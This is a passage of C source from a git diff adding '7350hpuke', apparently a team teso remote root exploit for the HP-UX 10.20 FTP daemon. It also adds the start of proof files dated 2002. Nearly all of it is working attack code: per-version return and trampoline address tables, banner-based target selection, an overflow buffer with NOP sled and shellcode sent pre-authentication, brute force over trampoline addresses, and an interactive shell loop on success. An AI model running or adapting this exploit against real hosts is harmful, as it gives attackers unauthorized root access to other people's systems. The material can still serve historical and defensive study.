128 { "HP-UX 10.20 PHCO_15153 [1998/06/04]", 0xc0011000 + 0x00116da8 },
129 { "HP-UX 10.20 PHCO_15465 [1998/06/04]", 0xc0011000 + 0x00116e18 },
130 { "HP-UX 10.20 PHCO_15807 [1998/08/18]", 0xc0011000 + 0x00116c18 },
131 { "HP-UX 10.20 PHCO_15808 [1998/08/21]", 0xc0011000 + 0x00117048 },
132 { "HP-UX 10.20 PHCO_16302 [1998/09/25]", 0xc0011000 + 0x00116ff8 },
133 { "HP-UX 10.20 PHCO_16303 [1998/09/25]", 0xc0011000 + 0x00117090 },
134 { "HP-UX 10.20 PHCO_16723 [1999/01/26]", 0xc0011000 + 0x00116c68 },
135 { "HP-UX 10.20 PHCO_17381 [1999/03/17]", 0xc0011000 + 0x00116c08 },
136 { "HP-UX 10.20 PHCO_20098 [1999/10/28]", 0xc0011000 + 0x00117598 },
137 { "HP-UX 10.20 PHCO_20441 [1999/11/22]", 0xc0011000 + 0x00117658 },
138 { "HP-UX 10.20 PHCO_22448 [2000/11/10]", 0xc0011000 + 0x001175b8 },
139 { "HP-UX 10.20 PHCO_22924 [2001/01/29]", 0xc0011000 + 0x001175c8 },
140 { "HP-UX 10.20 PHCO_23684 [2001/05/18]", 0xc0011000 + 0x00117698 },
141 { "HP-UX 10.20 PHCO_25640 [2002/01/08]", 0xc0011000 + 0x001176f8 },
142
143 { NULL, 0x0 },
144};
145
146/* i am not that sure that this method of exploitation will work on other
147 * hpux systems. the vulnerability is itself very weird. i see what fails
148 * where and how it goes wrong, but i am unable to see why. there is
149 * boundary checking prior to the overflow, its difficult to reproduce
150 * logically and generally "weird". i like it.
151 */
152tgt_type hpux_1020_targets[] = {
153 { "DEBUG TARGET",
154 "DEBUG",
155 hppa_hpux_execve, sizeof (hppa_hpux_execve) - 1,
156 25, 0x42424242 },
157
158 /* real targets
159 */
160 { "HP-UX B.10.20 A - 1.7.212.1 default [1996/05/09 - 1997/01/26]",
161 "Version 1.7.212.1 Thu May 9 21:10:27 GMT 1996",
162 hppa_hpux_execve, sizeof (hppa_hpux_execve) - 1,
163 25, 0x7b03add0 },
164
165 { "HP-UX B.10.20 A - 1.7.212.1 PHNE_9785 [1997/01/26 - 1997/02/07]",
166 "Version 1.7.212.1 Mon Jan 13 23:52:32 GMT 1997",
167 hppa_hpux_execve, sizeof (hppa_hpux_execve) - 1,
168 25, 0x7b03add0 },
169
170 { "HP-UX B.10.20 A - 1.7.212.1 PHNE_10010 [1997/02/07 - 1998/04/28]",
171 "Version 1.7.212.1 Sat Feb 1 01:30:15 GMT 1997",
172 hppa_hpux_execve, sizeof (hppa_hpux_execve) - 1,
173 25, 0x7b03add0 },
174
175 { "HP-UX B.10.20 A - 1.7.212.2 PHNE_13597 [1998/04/28 - 1999/07/26]",
176 "Version 1.7.212.2 Tue Apr 21 12:14:46 GMT 1998",
177 hppa_hpux_execve, sizeof (hppa_hpux_execve) - 1,
178 25, 0x7b03add0 },
179
180 { "HP-UX B.10.20 A - 1.7.212.3 PHNE_17963 [1999/07/26 - 2000/09/22]",
181 "Version 1.7.212.3 Wed Jul 14 10:24:05 GMT 1999",
182 hppa_hpux_execve, sizeof (hppa_hpux_execve) - 1,
183 25, 0x7b03add0 },
184
185 { "HP-UX B.10.20 A - 1.7.212.4 PHNE_22057 [2000/09/22 - 2001/06/04]",
186 "Version 1.7.212.4 Tue Sep 12 04:33:08 GMT 2000",
187 hppa_hpux_execve, sizeof (hppa_hpux_execve) - 1,
188 25, 0x7b03add0 },
189
190 { "HP-UX B.10.20 A - 1.7.212.5 PHNE_23948 [2001/06/04 - now]",
191 "Version 1.7.212.5 Wed May 30 12:19:42 GMT 2001",
192 hppa_hpux_execve, sizeof (hppa_hpux_execve) - 1,
193 25, 0x7b03add0 },
194
195 { NULL, NULL, 0, 0, 0, 0 },
196};
197
198mtgt_type mtargets[] = {
199 { "HP-UX 10.20 1.7.212.[1-5] [1996/05/09 - now]",
200 hpux_1020_targets,
201 hpux_1020_trampolines,
202 /* we choose +4 addresses so we dont have to cope with
203 * NUL bytes in the lsb. smart force in +8 steps.
204 */
205 0xc0011000 + 0x00116c24, 0xc0011000 + 0x00117904 },
206
207 { NULL, NULL, NULL },
208};
209
210/* FTP related stuff
211 */
212char * dest = "127.0.0.1"; /* can be changed with -d */
213char * ftp_banner = NULL;
214int verbose = 0;
215
216
217/* FTP prototypes
218 */
219void ftp_escape (unsigned char *buf, unsigned long int buflen);
220void ftp_recv_until (int sock, char *buff, int len, char *begin);
221int ftp_login (char *host);
222
223
224/* main prototypes
225 */
226void usage (char *progname);
227void exploit (int fd, tgt_type *tgt, unsigned long int trampo);
228int exploit_try (tgt_type *tgt, unsigned long int taddr, int connected);
229void shell (int sock);
230void hexdump (char *desc, unsigned char *data, unsigned int amount);
231unsigned char * binstrstr (unsigned char *binary, unsigned int bin_len,
232 unsigned char *str);
233
234tgt_type * tgt_frombanner (tgt_type *tgtl, unsigned char *banner);
235int taddr_tested (trampo_type *tramps, int num, unsigned long int taddr);
236void mtgt_list (mtgt_type *mtgt);
237void tgt_list (tgt_type *tgt);
238
239
240/* imported from network.c
241 */
242#define NET_CONNTIMEOUT 60
243#define NET_READTIMEOUT 20
244int net_conntimeout = NET_CONNTIMEOUT;
245
246unsigned long int net_resolve (char *host);
247int net_connect (struct sockaddr_in *cs, char *server,
248 unsigned short int port, int sec);
249void net_write (int fd, const char *str, ...);
250int net_rtimeout (int fd, int sec);
251int net_rlinet (int fd, char *buf, int bufsize, int sec);
252
253
254int debugmode = 0,
255 autolength = 0;
256
257unsigned long int trampo_manual = 0x0;
258
259void
260usage (char *progname)
261{
262 fprintf (stderr, "usage: %s [-h] [-v] [-D] <[-l <len>] | -a> "
263 "<-m <num> [-t <num>]> [-L 0xa] [-d host]\n\n", progname);
264
265 fprintf (stderr,
266 "-h\tthis help\n"
267 "-v\tbe verbose (default: off, twice for greater effect)\n"
268 "-D\tDEBUG mode (waits for keypresses)\n"
269 "-l len\tresolved hostname length (of this host)\n"
270 "-a\ttry to automatically get the length (default)\n"
271 "-m num\tchoose meta-target (0 for list)\n"
272 "-t num\tchoose target (0 for list, try -v or -v -v)\n"
273 "-L 0xa\tgive trampoline address manually (default: auto)\n"
274 "-d dest\tIP address or fqhn to connect to "
275 "(default: 127.0.0.1)\n"
276 "\n");
277
278 exit (EXIT_FAILURE);
279}
280
281int resolv_len = -1;
282unsigned char * shellcode = NULL;
283unsigned long int shellcode_len = 0;
284
285
286int
287main (int argc, char *argv[])
288{
289 char c;
290 char * progname; /* = argv[0] */
291 int fd;
292
293 tgt_type * tgt = NULL;
294 mtgt_type * mtgt = NULL;
295 int tgt_num = -1,
296 mtgt_num = -1;
297 int tgt_count;
298 unsigned long int taddr; /* brute force trampo addr */
299 int tr_w; /* trampoline walker */
300
301
302 fprintf (stderr, "7350hpuke - hppa/hpux ftpd remote root "
303 "(version "VERSION")\n"
304 "team teso.\n\n");
305
306 progname = argv[0];
307 if (argc < 2)
308 usage (progname);
309
310
311 while ((c = getopt (argc, argv, "hvDl:am:t:L:d:")) != EOF) {
312 switch (c) {
313 case 'h':
314 usage (progname);
315 break;
316 case 'D':
317 debugmode = 1;
318 break;
319 case 'v':
320 verbose += 1;
321 break;
322 case 'l':
323 if (sscanf (optarg, "%u", &resolv_len) != 1)
324 usage (progname);
325 break;
326 case 'a':
327 autolength = 1;
328 break;
329 case 'm':
330 if (sscanf (optarg, "%u", &mtgt_num) != 1)
331 usage (progname);
332 break;
333 case 't':
334 if (sscanf (optarg, "%u", &tgt_num) != 1)
335 usage (progname);
336 break;
337 case 'L':
338 if (sscanf (optarg, "0x%lx", &trampo_manual) != 1)
339 usage (progname);
340 break;
341 case 'd':
342 dest = optarg;
343 break;
344 default:
345 usage (progname);
346 break;
347 }
348 }
349
350 if (mtgt_num == 0 ||
351 mtgt_num >= (sizeof (mtargets) / sizeof (mtgt_type)))
352 {
353 if (mtgt_num != 0)
354 printf ("WARNING: meta-target out of list. list:\n\n");
355
356 mtgt_list (mtargets);
357
358 exit (EXIT_SUCCESS);
359 }
360 mtgt = &mtargets[mtgt_num - 1];
361 printf ("# meta-target: %s\n", mtgt->desc);
362
363 /* count real targets available in target list, then check if a proper
364 * one is given or nothing is given. abort in invalid cases.
365 */
366 for (tgt_count = 0 ; mtgt->tgt[tgt_count].desc != NULL ; ++tgt_count)
367 ;
368
369 if (tgt_num == 0 || tgt_num >= tgt_count) {
370 if (tgt_num != 0)
371 printf ("WARNING: target out of list. list:\n\n");
372
373 tgt_list (mtgt->tgt);
374
375 exit (EXIT_SUCCESS);
376
377 } else if (tgt_num != -1) {
378 tgt = &mtgt->tgt[tgt_num - 1];
379 }
380
381
382 /* sanity checking on resolv length parameter
383 */
384
385 if (autolength == 0 && resolv_len == -1) {
386 fprintf (stderr, "# resolv length not given, trying auto\n");
387 autolength = 1;
388 } else if (autolength == 0 && resolv_len > 17) {
389 fprintf (stderr, "resolv length too large, this exploitation "
390 "method only supports\nlength below or equal to 17 "
391 "chars\n");
392 exit (EXIT_FAILURE);
393 }
394
395 /* now tgt is either NULL (we should get the target automatically),
396 * or points to a proper subtarget structure
397 */
398
399
400 printf ("# trying to connect to %s ...", dest);
401 fflush (stdout);
402
403 fd = ftp_login (dest);
404 if (fd <= 0) {
405 fprintf (stderr, "\n### failed to connect\n");
406 exit (EXIT_FAILURE);
407 }
408 printf (" connected.\n");
409
410
411 printf ("# banner: %s", (ftp_banner == NULL) ? "???" :
412 ftp_banner);
413
414 if (tgt == NULL) {
415 tgt = tgt_frombanner (mtgt->tgt, ftp_banner);
416
417 if (tgt == NULL) {
418 fprintf (stderr, "failed to yield target from banner\n");
419
420 exit (EXIT_FAILURE);
421 }
422 printf ("# -> target: %s\n", tgt->desc);
423 } else {
424 printf ("# TARGET: %s\n\n", tgt->desc);
425 }
426
427 if (shellcode == NULL) {
428 shellcode = tgt->shellcode;
429 shellcode_len = tgt->shellcode_len;
430 }
431
432
433 if (verbose >= 2) {
434 printf ("using %lu byte shellcode:\n", shellcode_len);
435
436 hexdump ("shellcode", shellcode, shellcode_len);
437 }
438
439 if (debugmode) {
440 printf ("### DEBUG: press enter\n");
441 getchar ();
442 }
443
444 /* first try the known trampoline addresses
445 */
446 printf ("# testing known patchsets\n\n");
447 for (tr_w = 0 ; mtgt->tgt_trampo[tr_w].patchset != NULL ; ++tr_w) {
448
449 /* if the address was tested already, skip it
450 */
451 if (taddr_tested (mtgt->tgt_trampo, tr_w,
452 mtgt->tgt_trampo[tr_w].addr) == 0)
453 {
454 printf ("%s ", mtgt->tgt_trampo[tr_w].patchset);
455
456 fd = exploit_try (tgt, mtgt->tgt_trampo[tr_w].addr, fd);
457 if (fd != 0)
458 goto yeah;
459 }
460
461 /* fd is zero now, so exploit_try will build a new connection
462 */
463 }
464
465 printf ("\n# known trampolines failed, doing smart force\n\n");
466
467 for (taddr = mtgt->trampo_low ; taddr <= mtgt->trampo_high ;
468 taddr += 0x00000008)
469 {
470 /* the stubs are aligned on [08]$ addresses, but we test
471 * [4c]$, since they are prepended with a nop. so for the
472 * test, we have to add four to the brute address
473 */
474 if (taddr_tested (mtgt->tgt_trampo, tr_w, taddr + 4) == 0) {
475 printf ("BRUTE (%%%3ld) ",
476 ((taddr - mtgt->trampo_low) * 100) /
477 (mtgt->trampo_high - mtgt->trampo_low));
478
479 fd = exploit_try (tgt, taddr, fd);
480 if (fd != 0) {
481 printf ("fyi, trampoline address was at: "
482 "0x%08lx\n", taddr + 4);
483
484 goto yeah;
485 }
486 }
487 }
488
489 printf ("\n# brute force failed, giving up... "
490 "sorry, was a nice time.\n");
491
492 exit (EXIT_FAILURE);
493
494yeah:
495 printf ("# spawning shell\n");
496 printf ("##################################################"
497 "##########################\n");
498
499 write (fd, INIT_CMD, strlen (INIT_CMD));
500 shell (fd);
501
502 exit (EXIT_SUCCESS);
503}
504
505
506/* exploit_try
507 *
508 * try one single exploit attempt with the given attack vectors `tgt' and
509 * `tramp'. destination address in global `dest'. if `connected' is non-zero,
510 * it is used as filedescriptor and the ftp connection on this fd is assumed
511 * as already established.
512 *
513 * return 0 on failure
514 * return fd on success with shell spawned already
515 */
516
517int
518exploit_try (tgt_type *tgt, unsigned long int taddr, int connected)
519{
520 int n,
521 fd;
522 unsigned char rbuf[256];
523 unsigned char rcvbuf[2048];
524
525
526 printf ("[t: 0x%08lx c: 0x%08lx] ", taddr, tgt->codeaddr);
527
528 printf ("c");
529 fflush (stdout);
530
531 if (connected == 0) {
532 fd = ftp_login (dest);
533 if (fd <= 0) {
534 fprintf (stderr, "\n### failed to connect to %s\n", dest);
535
536 exit (EXIT_FAILURE);
537 }
538 } else
539 fd = connected;
540
541 printf ("\bC");
542 fflush (stdout);
543
544 /* if required, get local fqhn by itself
545 */
546 if (autolength == 1) {
547 struct sockaddr_in localaddr;
548 struct hostent * hep, he;
549 socklen_t size = sizeof (struct sockaddr_in);
550 int n, h_errno;
551 unsigned char h_buf[8192];
552
553 printf ("r");
554 fflush (stdout);
555
556 if (getsockname (fd, (struct sockaddr *) &localaddr, &size) == -1) {
557 fprintf (stderr, "### failed to get local fqhn\n");
558 exit (EXIT_FAILURE);
559 }
560
561 n = gethostbyaddr_r ((char *) &localaddr.sin_addr,
562 sizeof (struct in_addr), AF_INET, &he, h_buf,
563 sizeof (h_buf), &hep, &h_errno);
564
565 if (hep == NULL) {
566 unsigned char * ipp =
567 (unsigned char *) &localaddr.sin_addr.s_addr;
568 unsigned char dbuf[64];
569
570 if (verbose)
571 fprintf (stderr, "missed name, going for ip\n");
572
573 snprintf (dbuf, sizeof (dbuf), "%d.%d.%d.%d",
574 ipp[0], ipp[1], ipp[2], ipp[3]);
575 dbuf[sizeof (dbuf) - 1] = '\0';
576
577 if (verbose)
578 printf ("# local host: %s\n", dbuf);
579
580 resolv_len = strlen (dbuf);
581 } else {
582 if (verbose) {
583 printf (" fqhn\n");
584 printf ("# local host: %s\n", he.h_name);
585 }
586 resolv_len = strlen (he.h_name);
587 }
588 printf ("\bR");
589 fflush (stdout);
590 }
591
592 if (resolv_len > 17) {
593 fprintf (stderr, "local host resolves to a too-long hostname, "
594 "has to be shorter-equal to 17 chars\n");
595 exit (EXIT_FAILURE);
596 }
597
598 if (verbose)
599 printf ("# resolv_len = %d\n", resolv_len);
600
601 /* time to attach the debugger
602 */
603 if (debugmode) {
604 printf ("d");
605 fflush (stdout);
606 getchar (); /* will clobber output, doh! */
607
608 printf ("\bD");
609 fflush (stdout);
610 }
611
612 if (verbose) {
613 printf ("# banner: %s", (ftp_banner == NULL) ? "???" :
614 ftp_banner);
615 }
616
617 if (shellcode == NULL) {
618 shellcode = tgt->shellcode;
619 shellcode_len = tgt->shellcode_len;
620 }
621
622 if (verbose >= 2) {
623 printf ("using %lu byte shellcode:\n", shellcode_len);
624
625 hexdump ("shellcode", shellcode, shellcode_len);
626
627 printf ("\n### TARGET: %s\n\n", tgt->desc);
628 }
629
630 /* real stuff starts from here
631 */
632 printf ("p");
633 fflush (stdout);
634 net_write (fd, "SITE 73507350735073507350735073507350"
635 "735073507350735073507350\n");
636 ftp_recv_until (fd, rcvbuf, sizeof (rcvbuf), "500 ");
637 printf ("\bP");
638 fflush (stdout);
639
640 printf ("x");
641 fflush (stdout);
642 exploit (fd, tgt, taddr);
643 printf ("\bX");
644 fflush (stdout);
645
646 write (fd, AUTO_CMD, strlen (AUTO_CMD));
647
648 n = net_rlinet (fd, rbuf, sizeof (rbuf), 10);
649 if (n > 0 && binstrstr (rbuf, n, "sPsP") != NULL) {
650 printf (": SUCCESS\n");
651
652 return (fd);
653 }
654
655 /* failure, close down socket and move ahead
656 */
657 printf (": FAILURE\n");
658 close (fd);
659
660 return (0);
661}
662
663
664void
665exploit (int fd, tgt_type *tgt, unsigned long int trampo)
666{
667 int n,
668 padnop,
669 pad;
670 unsigned char * xpw;
671 unsigned char xpbuf[1024 + 256]; /* + NETSLOP ;-) */
672
673
674 memset (xpbuf, '\0', sizeof (xpbuf));
675
676 pad = 17 - resolv_len;
677 for (xpw = xpbuf, n = 0 ; pad > 0 ; --pad)
678 *xpw++ = "7350"[n++ % 4];
679
680 /* now the second return address (at %sp - 0x18) for thunking
681 */
682 *xpw++ = (tgt->codeaddr & 0xff000000) >> 24;
683 *xpw++ = (tgt->codeaddr & 0x00ff0000) >> 16;
684 *xpw++ = (tgt->codeaddr & 0x0000ff00) >> 8;
685 *xpw++ = (tgt->codeaddr & 0x000000ff);
686
687 /* directly after it, *tada*, the first return address to the space
688 * redirection stub
689 */
690 *xpw++ = (trampo & 0xff000000) >> 24;
691 *xpw++ = (trampo & 0x00ff0000) >> 16;
692 *xpw++ = (trampo & 0x0000ff00) >> 8;
693 *xpw++ = (trampo & 0x000000ff);
694
695 strcat (xpbuf, "A"); /* padding */
696
697 /* nopspace + shellcode
698 */
699 padnop = 990 + tgt->cpad - resolv_len - strlen (xpbuf);
700 padnop &= ~0x3; /* pad down to 4 byte boundary */
701
702 for (n = 0, xpw = xpbuf + strlen (xpbuf) ;
703 n < padnop ; ++n)
704 {
705 *xpw++ = hppa_nop[n % 4];
706 }
707 if (verbose)
708 printf ("n = %d, n %% 4 = %d\n", n, n % 4);
709
710 memcpy (xpw - tgt->shellcode_len - 8, tgt->shellcode, tgt->shellcode_len);
711 xpw += strlen (xpw);
712 if (verbose)
713 printf ("strlen (xpbuf) = %d\n", strlen (xpbuf));
714
715 *xpw++ = '\n';
716
717 ftp_escape (xpbuf, sizeof (xpbuf));
718 net_write (fd, "%s", xpbuf);
719
720 return;
721}
722
723
724tgt_type *
725tgt_frombanner (tgt_type *tgtl, unsigned char *banner)
726{
727 int tw; /* target list walker */
728
729
730 for (tw = 0 ; tgtl[tw].desc != NULL ; ++tw) {
731 if (strstr (banner, tgtl[tw].banner) != NULL)
732 return (&tgtl[tw]);
733 }
734
735 return (NULL);
736}
737
738
739/* taddr_tested
740 *
741 * return 1 if `taddr' was already tested within the first `num'
742 * table entries of `tramps'.
743 * return 0 if it was not tested yet
744 */
745
746int
747taddr_tested (trampo_type *tramps, int num, unsigned long int taddr)
748{
749 int n;
750
751 for (n = 0 ; n < num && tramps[n].patchset != NULL; ++n) {
752 if (tramps[n].addr == taddr)
753 return (1);
754 }
755
756 return (0);
757}
758
759
760void
761mtgt_list (mtgt_type *mtgt)
762{
763 int mtgt_num;
764
765
766 printf ("num . description\n");
767 printf ("----+-----------------------------------------------"
768 "--------\n");
769
770 for (mtgt_num = 0 ; mtgt[mtgt_num].desc != NULL ; ++mtgt_num) {
771 printf ("%3d | %s\n", mtgt_num + 1, mtgt[mtgt_num].desc);
772 }
773 printf (" '\n");
774}
775
776
777/* tgt_list
778 *
779 * give target list
780 */
781
782void
783tgt_list (tgt_type *tgt)
784{
785 int tgt_num;
786
787
788 printf ("num . description\n");
789 printf ("----+-----------------------------------------------"
790 "--------\n");
791
792 for (tgt_num = 0 ; tgt[tgt_num].desc != NULL ; ++tgt_num) {
793 printf ("%3d | %s\n", tgt_num + 1, tgt[tgt_num].desc);
794
795 if (verbose)
796 printf (" : %s\n", tgt[tgt_num].banner);
797 if (verbose >= 2)
798 printf (" : codeaddr: 0x%08lx\n",
799 tgt[tgt_num].codeaddr);
800 }
801 printf (" '\n");
802
803 return;
804}
805
806
807void
808shell (int sock)
809{
810 int l;
811 char buf[512];
812 fd_set rfds;
813
814
815 while (1) {
816 FD_SET (0, &rfds);
817 FD_SET (sock, &rfds);
818
819 select (sock + 1, &rfds, NULL, NULL, NULL);
820 if (FD_ISSET (0, &rfds)) {
821 l = read (0, buf, sizeof (buf));
822 if (l <= 0) {
823 perror ("read user");
824 exit (EXIT_FAILURE);
825 }
826 write (sock, buf, l);
827 }
828
829 if (FD_ISSET (sock, &rfds)) {
830 l = read (sock, buf, sizeof (buf));
831 if (l == 0) {
832 printf ("connection closed by foreign host.\n");
833 exit (EXIT_FAILURE);
834 } else if (l < 0) {
835 perror ("read remote");
836 exit (EXIT_FAILURE);
837 }
838 write (1, buf, l);
839 }
840 }
841}
842
843
844/*** FTP functions
845 */
846
847/* FTP is TELNET is SHIT.
848 */
849
850void
851ftp_escape (unsigned char *buf, unsigned long int buflen)
852{
853 unsigned char * obuf = buf;
854
855
856 for ( ; *buf != '\0' ; ++buf) {
857 if (*buf == 0xff &&
858 (((buf - obuf) + strlen (buf) + 1) < buflen))
859 {
860 memmove (buf + 1, buf, strlen (buf) + 1);
861 buf += 1;
862 }
863 }
864}
865
866
867void
868ftp_recv_until (int sock, char *buff, int len, char *begin)
869{
870 char dbuff[2048];
871
872
873 if (buff == NULL) {
874 buff = dbuff;
875 len = sizeof (dbuff);
876 }
877
878 do {
879 memset (buff, '\x00', len);
880 if (net_rlinet (sock, buff, len - 1, 20) <= 0)
881 return;
882 } while (memcmp (buff, begin, strlen (begin)) != 0);
883
884 return;
885}
886
887
888int
889ftp_login (char *host)
890{
891 int ftpsock;
892 char resp[512];
893
894
895 ftpsock = net_connect (NULL, host, 21, 30);
896 if (ftpsock <= 0)
897 return (0);
898
899 memset (resp, '\x00', sizeof (resp));
900 if (net_rlinet (ftpsock, resp, sizeof (resp) - 1, 20) <= 0)
901 goto flerr;
902
903 /* handle multiline pre-login stuff (rfc violation !)
904 */
905 if (memcmp (resp, "220-", 4) == 0)
906 ftp_recv_until (ftpsock, resp, sizeof (resp), "220 ");
907
908 if (memcmp (resp, "220 ", 4) != 0) {
909 if (verbose)
910 printf ("\n%s\n", resp);
911 goto flerr;
912 }
913 if (ftp_banner != NULL)
914 free (ftp_banner);
915
916 ftp_banner = strdup (resp);
917
918 /* do not login really, this is 100% pre-auth
919 */
920 return (ftpsock);
921
922flerr:
923 if (ftpsock > 0)
924 close (ftpsock);
925
926 return (0);
927}
928
929
930/* ripped from zodiac */
931void
932hexdump (char *desc, unsigned char *data, unsigned int amount)
933{
934 unsigned int dp, p; /* data pointer */
935 const char trans[] =
936 "................................ !\"#$%&'()*+,-./0123456789"
937 ":;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklm"
938 "nopqrstuvwxyz{|}~...................................."
939 "....................................................."
940 "........................................";
941
942
943 printf ("/* %s, %u bytes */\n", desc, amount);
944
945 for (dp = 1; dp <= amount; dp++) {
946 fprintf (stderr, "%02x ", data[dp-1]);
947 if ((dp % 8) == 0)
948 fprintf (stderr, " ");
949 if ((dp % 16) == 0) {
950 fprintf (stderr, "| ");
951 p = dp;
952 for (dp -= 16; dp < p; dp++)
953 fprintf (stderr, "%c", trans[data[dp]]);
954 fflush (stderr);
955 fprintf (stderr, "\n");
956 }
957 fflush (stderr);
958 }
959 if ((amount % 16) != 0) {
960 p = dp = 16 - (amount % 16);
961 for (dp = p; dp > 0; dp--) {
962 fprintf (stderr, " ");
963 if (((dp % 8) == 0) && (p != 8))
964 fprintf (stderr, " ");
965 fflush (stderr);
966 }
967 fprintf (stderr, " | ");
968 for (dp = (amount - (16 - p)); dp < amount; dp++)
969 fprintf (stderr, "%c", trans[data[dp]]);
970 fflush (stderr);
971 }
972 fprintf (stderr, "\n");
973
974 return;
975}
976
977
978unsigned char *
979binstrstr (unsigned char *binary, unsigned int bin_len, unsigned char *str)
980{
981 if (bin_len < strlen (str))
982 return (NULL);
983
984 while (binary <= (binary + bin_len - strlen (str))) {
985 if (memcmp (binary, str, strlen (str)) == 0)
986 return (binary);
987
988 binary += 1;
989 bin_len -= 1;
990 }
991
992 return (NULL);
993}
994
995
996unsigned long int
997net_resolve (char *host)
998{
999 long i;
1000 struct hostent *he;
1001
1002 i = inet_addr(host);
1003 if (i == -1) {
1004 he = gethostbyname(host);
1005 if (he == NULL) {
1006 return (0);
1007 } else {
1008 return (*(unsigned long *) he->h_addr);
1009 }
1010 }
1011 return (i);
1012}
1013
1014
1015int
1016net_connect (struct sockaddr_in *cs, char *server,
1017 unsigned short int port, int sec)
1018{
1019 int n,
1020 len,
1021 error,
1022 flags;
1023 int fd;
1024 struct timeval tv;
1025 fd_set rset, wset;
1026 struct sockaddr_in csa;
1027
1028 if (cs == NULL)
1029 cs = &csa;
1030
1031 /* first allocate a socket */
1032 cs->sin_family = AF_INET;
1033 cs->sin_port = htons (port);
1034 fd = socket (cs->sin_family, SOCK_STREAM, 0);
1035 if (fd == -1)
1036 return (-1);
1037
1038 if (!(cs->sin_addr.s_addr = net_resolve (server))) {
1039 close (fd);
1040 return (-1);
1041 }
1042
1043 flags = fcntl (fd, F_GETFL, 0);
1044 if (flags == -1) {
1045 close (fd);
1046 return (-1);
1047 }
1048 n = fcntl (fd, F_SETFL, flags | O_NONBLOCK);
1049 if (n == -1) {
1050 close (fd);
1051 return (-1);
1052 }
1053
1054 error = 0;
1055
1056 n = connect (fd, (struct sockaddr *) cs, sizeof (struct sockaddr_in));
1057 if (n < 0) {
1058 if (errno != EINPROGRESS) {
1059 close (fd);
1060 return (-1);
1061 }
1062 }
1063 if (n == 0)
1064 goto done;
1065
1066 FD_ZERO(&rset);
1067 FD_ZERO(&wset);
1068 FD_SET(fd, &rset);
1069 FD_SET(fd, &wset);
1070 tv.tv_sec = sec;
1071 tv.tv_usec = 0;
1072
1073 n = select(fd + 1, &rset, &wset, NULL, &tv);
1074 if (n == 0) {
1075 close(fd);
1076 errno = ETIMEDOUT;
1077 return (-1);
1078 }
1079 if (n == -1)
1080 return (-1);
1081
1082 if (FD_ISSET(fd, &rset) || FD_ISSET(fd, &wset)) {
1083 if (FD_ISSET(fd, &rset) && FD_ISSET(fd, &wset)) {
1084 len = sizeof(error);
1085 if (getsockopt(fd, SOL_SOCKET, SO_ERROR, &error, &len) < 0) {
1086 errno = ETIMEDOUT;
1087 return (-1);
1088 }
1089 if (error == 0) {
1090 goto done;
1091 } else {
1092 errno = error;
1093 return (-1);
1094 }
1095 }
1096 } else
1097 return (-1);
1098
1099done:
1100 n = fcntl(fd, F_SETFL, flags);
1101 if (n == -1)
1102 return (-1);
1103 return (fd);
1104}
1105
1106
1107void
1108net_write (int fd, const char *str, ...)
1109{
1110 char tmp[1025];
1111 va_list vl;
1112 int i;
1113
1114 va_start(vl, str);
1115 memset(tmp, 0, sizeof(tmp));
1116 i = vsnprintf(tmp, sizeof(tmp), str, vl);
1117 va_end(vl);
1118
1119#ifdef DEBUG
1120 printf ("[snd] %s%s", tmp, (tmp[strlen (tmp) - 1] == '\n') ? "" : "\n");
1121#endif
1122
1123 send(fd, tmp, i, 0);
1124 return;
1125}
1126
1127
1128int
1129net_rlinet (int fd, char *buf, int bufsize, int sec)
1130{
1131 int n;
1132 unsigned long int rb = 0;
1133 struct timeval tv_start, tv_cur;
1134
1135 memset(buf, '\0', bufsize);
1136 (void) gettimeofday(&tv_start, NULL);
1137
1138 do {
1139 (void) gettimeofday(&tv_cur, NULL);
1140 if (sec > 0) {
1141 if ((((tv_cur.tv_sec * 1000000) + (tv_cur.tv_usec)) -
1142 ((tv_start.tv_sec * 1000000) +
1143 (tv_start.tv_usec))) > (sec * 1000000))
1144 {
1145 return (-1);
1146 }
1147 }
1148 n = net_rtimeout(fd, NET_READTIMEOUT);
1149 if (n <= 0) {
1150 return (-1);
1151 }
1152 n = read(fd, buf, 1);
1153 if (n <= 0) {
1154 return (n);
1155 }
1156 rb++;
1157 if (*buf == '\n')
1158 return (rb);
1159 buf++;
1160 if (rb >= bufsize)
1161 return (-2); /* buffer full */
1162 } while (1);
1163}
1164
1165
1166int
1167net_rtimeout (int fd, int sec)
1168{
1169 fd_set rset;
1170 struct timeval tv;
1171 int n, error, flags;
1172
1173
1174 error = 0;
1175 flags = fcntl(fd, F_GETFL, 0);
1176 n = fcntl(fd, F_SETFL, flags | O_NONBLOCK);
1177 if (n == -1)
1178 return (-1);
1179
1180 FD_ZERO(&rset);
1181 FD_SET(fd, &rset);
1182 tv.tv_sec = sec;
1183 tv.tv_usec = 0;
1184
1185 /* now we wait until more data is received then the tcp low level
1186 * watermark, which should be setted to 1 in this case (1 is default)
1187 */
1188 n = select(fd + 1, &rset, NULL, NULL, &tv);
1189 if (n == 0) {
1190 n = fcntl(fd, F_SETFL, flags);
1191 if (n == -1)
1192 return (-1);
1193 errno = ETIMEDOUT;
1194 return (-1);
1195 }
1196 if (n == -1) {
1197 return (-1);
1198 }
1199 /* socket readable ? */
1200 if (FD_ISSET(fd, &rset)) {
1201 n = fcntl(fd, F_SETFL, flags);
1202 if (n == -1)
1203 return (-1);
1204 return (1);
1205 } else {
1206 n = fcntl(fd, F_SETFL, flags);
1207 if (n == -1)
1208 return (-1);
1209 errno = ETIMEDOUT;
1210 return (-1);
1211 }
1212}
1213
1214
diff --git a/exploits/7350hpuke/proof/proof.txt b/exploits/7350hpuke/proof/proof.txt
new file mode 100644
index 0000000..47d93ea
--- /dev/null
+++ b/exploits/7350hpuke/proof/proof.txt
@@ -0,0 +1,2 @@
12002/02/14 HPUX 10.20 ftpd remote root pre-auth vulnerability through
2 overflow in setproctitle
diff --git a/exploits/7350hpuke/proof/proof_hpux_ftpd.txt b/exploits/7350hpuke/proof/proof_hpux_ftpd.txt
new file mode 100644
index 0000000..eb112ad
--- /dev/null
+++ b/exploits/7350hpuke/proof/proof_hpux_ftpd.txt
@@ -0,0 +1,99 @@
1From uucp@nb.in-berlin.de Thu Feb 14 22:39:38 2002
2Envelope-to: scut@localhost
3Received: from localhost ([127.0.0.1] ident=root)
4 by golem.nb with esmtp (Exim 3.34 #1 (Debian))
5 id 16bTbO-0000XK-01
6 for <scut@localhost>; Thu, 14 Feb 2002 22:39:38 +0100
7Received: from 192.168.144.1 [192.168.144.1]
8 by localhost with POP3 (fetchmail-5.9.7)
